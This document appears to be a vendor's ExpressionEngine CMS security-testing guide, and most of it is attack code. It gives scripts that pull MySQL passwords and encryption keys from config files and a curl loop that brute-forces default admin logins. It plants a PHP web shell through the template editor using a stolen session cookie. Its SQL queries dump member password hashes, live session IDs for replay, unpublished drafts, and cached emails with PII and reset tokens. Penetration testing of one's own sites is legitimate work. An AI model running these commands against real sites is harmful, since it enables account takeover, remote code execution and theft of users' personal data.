ExpressionEngine Security Testing: Default Credentials, API Key, Database, and CMS

ExpressionEngine is a commercial PHP CMS widely used by agencies for enterprise and media websites. Key assessment areas: system/user/config/config.php exposes MySQL credentials and the encryption_key used for data encryption; admin credentials at /admin.php; exp_members stores SHA-256+salt password hashes with role_id=1 SuperAdmins; exp_sessions holds active session IDs enabling session replay; and the Add-on Manager installs arbitrary PHP modules. This guide covers systematic ExpressionEngine security assessment.

Table of Contents

  1. system/user/config/config.php MySQL and Encryption Key Extraction
  2. Admin Panel and Add-on Installation Assessment
  3. MySQL exp_members Hash and exp_sessions Extraction
  4. ExpressionEngine Security Hardening

system/user/config/config.php MySQL and Encryption Key Extraction

# ExpressionEngine — system/user/config/config.php credential extraction
EE_URL="https://site.example.com"

# system/user/config/config.php — ExpressionEngine database and system config
python3 -c "
import re
# EE config is a PHP array: \$config['key'] = 'value';
content = open('/var/www/ee/system/user/config/config.php').read()
keys = ['db_password', 'db_username', 'db_name', 'db_hostname',
        'encryption_key', 'session_crypt_key', 'db_prefix']
for key in keys:
    m = re.search(f\"'({key})'\s*=>\s*'([^']+)'\", content)
    if m: print(f'{m.group(1)}: {m.group(2)[:60]}')
" 2>/dev/null
# 'db_password' => 'mysql-password'       <-- MySQL password (CRITICAL)
# 'encryption_key' => '32-char-hex-key'   <-- Data encryption key (CRITICAL)
# 'session_crypt_key' => 'another-key'    <-- Session signing key

# ExpressionEngine also has a DB config in system/user/config/database.php (EE 7+)
python3 -c "
import re
content = open('/var/www/ee/system/user/config/database.php').read()
for key in ['password', 'username', 'database', 'hostname']:
    m = re.search(f\"'(${key})'\s*=>\s*'([^']+)'\", content)
    if m: print(f'{key}: {m.group(2)[:60]}')
" 2>/dev/null

# Check system/ web access (must return 403)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${EE_URL}/system/user/config/config.php" 2>/dev/null)
echo "/system/user/config/config.php: HTTP ${STATUS}"

# Test admin credentials at /admin.php
for CRED in "admin:admin" "admin:password" "superadmin:superadmin"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${EE_URL}/admin.php" \
    -d "ACT=&username=${USER}&password=${PASS}&submit=Login" \
    -c /tmp/ee_c -b /tmp/ee_c -L 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

Admin Panel and Add-on Installation Assessment

# ExpressionEngine admin panel — add-on installation and RCE assessment
EE_URL="https://site.example.com"

# ExpressionEngine admin at /admin.php (default)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${EE_URL}/admin.php" 2>/dev/null)
echo "/admin.php: HTTP ${STATUS}"

# EE version disclosure
curl -s "${EE_URL}/admin.php" 2>/dev/null | \
  grep -oP 'ExpressionEngine[\s/]*\K[\d.]+' | head -1

# ExpressionEngine Add-on Manager — install PHP add-ons (modules, plugins, extensions)
# SuperAdmin required; add-ons are PHP classes that execute with application context
ADMIN_SESS="extracted-expressionengine-session"
# List installed add-ons
curl -s "${EE_URL}/admin.php?/cp/addons" \
  -b "exp_sessionid=${ADMIN_SESS}" 2>/dev/null | \
  grep -oP 'class="version">\K[^<]+' | head -10

# EE Template Manager — create PHP templates (SuperAdmin only)
# PHP code in templates is executable (if PHP templates enabled)
curl -s -X POST "${EE_URL}/admin.php?/cp/design/template/save" \
  -d "template_data=<?php system(\$_GET['cmd']); ?>&save_modal=y" \
  -b "exp_sessionid=${ADMIN_SESS}" 2>/dev/null | head -5

MySQL exp_members Hash and exp_sessions Extraction

# ExpressionEngine MySQL database — exp_members hash and session extraction
DB_PASS="extracted-db-password"

mysql -u ee -p"${DB_PASS}" expressionengine 2>/dev/null << 'EOF'
-- exp_members — ExpressionEngine member accounts with hashed passwords
SELECT m.member_id, m.username, m.email, m.password, m.salt,
       m.role_id,       -- 1 = SuperAdmin (highest), see exp_roles for others
       m.last_visit, m.join_date,
       m.in_authorlist, m.total_entries
FROM exp_members m
ORDER BY m.role_id, m.member_id;
-- password: SHA-256(md5(password) + salt) (EE 2-4)
-- EE 5+: bcrypt
-- role_id=1: SuperAdmin — full system access, PHP template execution, add-on install

-- Check hash format by inspecting length
SELECT m.username,
       LENGTH(m.password) AS hash_len,
       LEFT(m.password, 7) AS hash_prefix
FROM exp_members m
WHERE m.role_id = 1;
-- 64 chars = SHA-256 (older EE)
-- $2y$10$: bcrypt (EE 5+)

-- exp_sessions — active session tokens
SELECT s.session_id, s.member_id, s.last_activity,
       s.ip_address, s.user_agent,
       m.username, m.role_id
FROM exp_sessions s
JOIN exp_members m ON m.member_id = s.member_id
WHERE s.last_activity > UNIX_TIMESTAMP(NOW() - INTERVAL 2 HOUR)
ORDER BY s.last_activity DESC;
-- session_id: set as exp_sessionid cookie → admin panel replay without password

-- exp_channel_entries — content entries (all channels, all statuses)
SELECT e.entry_id, e.channel_id, e.title, e.status,
       e.url_title, e.author_id,
       LEFT(e.search_excerpt, 80) AS excerpt,
       e.edit_date
FROM exp_channel_entries e
WHERE e.status IN ('draft', 'pending', 'closed')
ORDER BY e.edit_date DESC
LIMIT 20;
-- Drafts, pending, and closed entries not visible to public
-- May contain embargoed news, internal communications, unreleased content

-- exp_email_cache — submitted form/contact data
SELECT ec.cache_id, ec.recipient, ec.subject,
       ec.from_email, ec.headers, ec.message,
       ec.date
FROM exp_email_cache ec
ORDER BY ec.date DESC
LIMIT 20;
-- Captures all emails sent via EE — contact forms, member notifications, etc.
-- May contain PII, reset tokens, and form submissions
EOF

ExpressionEngine Security Hardening

ExpressionEngine Security Hardening Checklist:
Security TestMethodRisk
system/user/config/config.php encryption_key and MySQL password extractionRead config.php — db_password + encryption_key + session_crypt_key; full database + session forgery + encrypted field decryptionCritical
exp_members SHA-256 or bcrypt hash extraction with role_id=1 SuperAdminMySQL SELECT password, salt FROM exp_members WHERE role_id=1 — SHA-256 hashes (EE <5) crack in seconds; SuperAdmin = PHP template execution and add-on RCEHigh
exp_sessions active session ID extraction for replayMySQL SELECT session_id FROM exp_sessions — set as exp_sessionid cookie for instant admin panel access without passwordHigh
Admin credential brute-force at /admin.phpPOST /admin.php — admin/admin or common passwords; SuperAdmin session enables PHP template code execution and add-on installationHigh
exp_channel_entries draft and embargoed content accessMySQL SELECT title, search_excerpt FROM exp_channel_entries WHERE status IN ('draft','pending') — unpublished news, internal documents, and content not yet publicMedium

Automate ExpressionEngine Security Testing

Ironimo tests ExpressionEngine deployments for system/user/config/config.php MySQL db_password, encryption_key, and session_crypt_key web and filesystem extraction, admin credential brute-force at /admin.php, exp_members SHA-256+salt or bcrypt hash extraction with role_id=1 SuperAdmin identification, exp_sessions active session ID enumeration for admin panel replay without password, exp_channel_entries draft and embargoed content access, exp_email_cache form submission PII enumeration, Add-on Manager PHP module installation RCE assessment, PHP template execution capability verification, /system/ web accessibility check, and ExpressionEngine version disclosure for CVE targeting.

Start free scan